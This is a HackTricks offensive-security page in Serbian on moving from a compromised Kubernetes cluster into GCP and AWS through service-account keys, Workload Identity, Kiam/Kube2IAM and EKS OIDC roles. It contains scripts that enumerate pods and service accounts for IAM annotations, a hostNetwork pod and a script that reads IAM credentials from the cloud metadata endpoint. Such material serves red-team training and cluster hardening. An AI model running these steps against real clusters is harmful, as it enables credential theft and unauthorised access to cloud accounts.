Kubernetes Pivoting to Clouds

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

GCP

Ako pokrećete k8s klaster unutar GCP-a, verovatno ćete želeti da neka aplikacija koja se pokreće unutar klastera ima pristup GCP-u. Postoje 2 uobičajena načina za to:

Montiranje GCP-SA ključeva kao tajne

Uobičajeni način da se dodeli pristup kubernetes aplikaciji GCP-u je:

  • Kreirajte GCP Service Account

  • Dodelite mu željene dozvole

  • Preuzmite json ključ kreiranog SA

  • Montirajte ga kao tajnu unutar poda

  • Postavite GOOGLE_APPLICATION_CREDENTIALS okruženjsku promenljivu koja pokazuje putanju do json fajla.

Stoga, kao napadač, ako kompromitujete kontejner unutar poda, trebali biste proveriti da li postoji ta env promenljiva i json fajlovi sa GCP akreditacijama.

Povezivanje GSA json sa KSA tajnom

Način da se omogući pristup GSA GKE klasteru je da ih povežete na sledeći način:

  • Kreirajte Kubernetes service account u istom namespace-u kao vaš GKE klaster koristeći sledeću komandu:

Copy codekubectl create serviceaccount <service-account-name>
  • Kreirajte Kubernetes tajnu koja sadrži podatke za prijavljivanje na GCP servisni nalog kojem želite dati pristup GKE klasteru. To možete uraditi koristeći gcloud alatku komandne linije, kao što je prikazano u sledećem primeru:

Copy codegcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
  • Povežite Kubernetes tajnu sa Kubernetes servisnim nalogom koristeći sledeću komandu:

Copy codekubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>

U drugom koraku postavljene su poverljive informacije o GSA kao tajna KSA. Ako možete pročitati tu tajnu iz unutrašnjosti GKE klastera, možete preći na taj GCP servisni nalog.

GKE Workload Identity

Pomoću Workload Identity, možemo konfigurisati Kubernetes servisni nalog da deluje kao Google servisni nalog. Podovi koji rade sa Kubernetes servisnim nalogom će se automatski autentifikovati kao Google servisni nalog prilikom pristupa Google Cloud API-ima.

Prva serija koraka za omogućavanje ove funkcionalnosti je omogućavanje Workload Identity u GCP-u (koraci) i kreiranje GCP SA koji želite da k8s predstavlja.

  • Omogući Workload Identity na novom klasteru

gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
  • Kreiraj/Ažuriraj novi nodepool (Autopilot klasteri ne zahtevaju ovo)

# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
  • Kreirajte GCP servisni nalog za impersonaciju iz K8s sa GCP dozvolama:

# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>

# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
  • Povežite se sa klasterom i kreirajte nalog za servis koji će se koristiti

# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1

# Generate our testing namespace
kubectl create namespace testing

# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
  • Povežite GSA sa KSA

# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"

# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
  • Pokrenite pod sa KSA i proverite pristup GSA:

# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-

# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash

# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list

Proverite sledeću komandu za autentifikaciju ako je potrebno:

gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json

Kao napadač unutar K8s-a, trebali biste tražiti SA sa iam.gke.io/gcp-service-account anotacijom, jer to ukazuje da SA može pristupiti nečemu u GCP-u. Druga opcija bila bi pokušati zloupotrijebiti svaki KSA u klasteru i provjeriti ima li pristup. Iz GCP-a je uvijek zanimljivo nabrojati veze i znati koji pristup dajete SA unutar Kubernetesa.

Ovo je skripta koja olakšava iteriranje kroz sve definicije podova u potrazi za tom anotacijom:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"

AWS

Kiam & Kube2IAM (IAM uloge za Podove)

Jedan (zastareo) način da se dodeljuju IAM uloge Podovima je korišćenje Kiam ili Kube2IAM servera. U osnovi, trebaće vam da pokrenete daemonset u vašem klasteru sa vrstom privilegovane IAM uloge. Taj daemonset će biti taj koji će omogućiti pristup IAM ulogama podovima kojima je to potrebno.

Prvo, trebate konfigurisati koje uloge mogu biti dostupne unutar namespace-a, a to radite sa anotacijom unutar objekta namespace-a:

Kiam
kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
Kube2iam
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default

Jednom kada je namespace konfigurisan sa IAM ulogama koje mogu imati Podovi, možete navesti ulogu koju želite na svakoj definiciji poda na sledeći način:

Kiam & Kube2iam
kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader

Kao napadač, ako pronađete ove anotacije u podovima ili namespace-ima ili pokrenutom kiam/kube2iam serveru (verovatno u kube-system), možete preuzeti identitet svake uloge koju već koriste podovi i još više (ako imate pristup AWS nalogu, možete nabrojati uloge).

Kreiranje Pod-a sa IAM ulogom

IAM uloga koju treba navesti mora biti u istom AWS nalogu kao i kiam/kube2iam uloga i ta uloga mora imati pristup njoj.

echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -

IAM uloga za K8s servisne naloge putem OIDC

Ovo je preporučeni način od strane AWS-a.

  1. Zatim kreirate IAM ulogu sa dozvolama koje će SA zahtevati.

  2. Kreirajte poverenjski odnos između IAM uloge i SA imena (ili namespace-ova koji daju pristup ulozi svim SA-ovima u namespace-u). Poverenjski odnos će uglavnom proveriti ime OIDC provajdera, ime namespace-a i ime SA-a.

  3. Na kraju, kreirajte SA sa anotacijom koja ukazuje na ARN uloge, a podovi koji se pokreću sa tim SA-om će imati pristup token-u uloge. Token je upisan u datoteku, a putanja je specificirana u AWS_WEB_IDENTITY_TOKEN_FILE (podrazumevano: /var/run/secrets/eks.amazonaws.com/serviceaccount/token)

# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml

# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role

Da biste dobili aws koristeći token iz /var/run/secrets/eks.amazonaws.com/serviceaccount/token, pokrenite:

aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token

Kao napadač, ako možete da nabrojite K8s klaster, proverite da li postoje servisni nalozi sa tom anotacijom kako biste se povezali na AWS. Da biste to uradili, jednostavno izvršite/kreirajte pod koristeći jedan od IAM privilegovanih servisnih naloga i ukradite token.

Osim toga, ako se nalazite unutar poda, proverite promenljive okruženja poput AWS_ROLE_ARN i AWS_WEB_IDENTITY_TOKEN.

Ponekad polisa poverenja uloge može biti loše konfigurisana i umesto što daje pristup AssumeRole očekivanom servisnom nalogu, daje pristup svim servisnim nalozima. Stoga, ako možete da napišete anotaciju na kontrolisanom servisnom nalogu, možete pristupiti ulozi.

Proverite sledeću stranicu za više informacija:

pageAWS - Federation Abuse

Pronalaženje Podova i SAs sa IAM ulogama u Klasteru

Ovo je skripta koja olakšava iteriranje kroz sve podove i definicije sa SAS kako bi se pronašla ta anotacija:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"

IAM uloga čvora

Prethodni odeljak se odnosio na to kako ukrasti IAM uloge sa podovima, ali treba napomenuti da je čvor K8s klastera instanca unutar oblaka. To znači da je vrlo verovatno da će čvor imati novu IAM ulogu koju možete ukrasti (napomena: obično svi čvorovi K8s klastera imaju istu IAM ulogu, pa možda nije vredno proveravati svaki čvor).

Međutim, postoji važan zahtev za pristupanje metapodacima sa čvora, morate biti na čvoru (ssh sesija?) ili barem imati istu mrežu:

kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'

Ukradi IAM Role Token

Prethodno smo razgovarali o tome kako dodati IAM Role na Podove ili čak kako pobegnuti na Node i ukrasti IAM Role koji je povezan sa instancom.

Možete koristiti sledeći skript da ukradete nove, naporno stečene IAM role podatke:

IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated